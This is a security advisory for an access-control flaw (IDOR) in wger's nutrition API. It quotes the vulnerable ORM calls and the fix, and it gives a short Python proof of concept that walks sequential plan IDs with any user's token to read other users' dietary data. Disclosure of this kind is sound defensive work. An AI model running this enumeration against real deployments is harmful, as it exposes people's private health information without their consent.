CVE-2026-27839: wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup

Summary

Three nutritionalvalues action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.getobject() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

python line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check

line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE

line 403 — MealItemViewSet mealitem = MealItem.objects.get(pk=pk) # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

python LogItem.objects.get(pk=pk, planuser=self.request.user) # CORRECT

Affected endpoints: GET /api/v2/nutritionplan/{pk}/nutritionalvalues/ GET /api/v2/meal/{pk}/nutritionalvalues/ GET /api/v2/mealitem/{pk}/nutritionalvalues/

PoC

python import requests

BASE = "http://localhost" Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKERTOKEN"}

Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritionalvalues/", headers=headers ) if r.statuscode == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydratessugar, # fat, fatsaturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.getobject(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).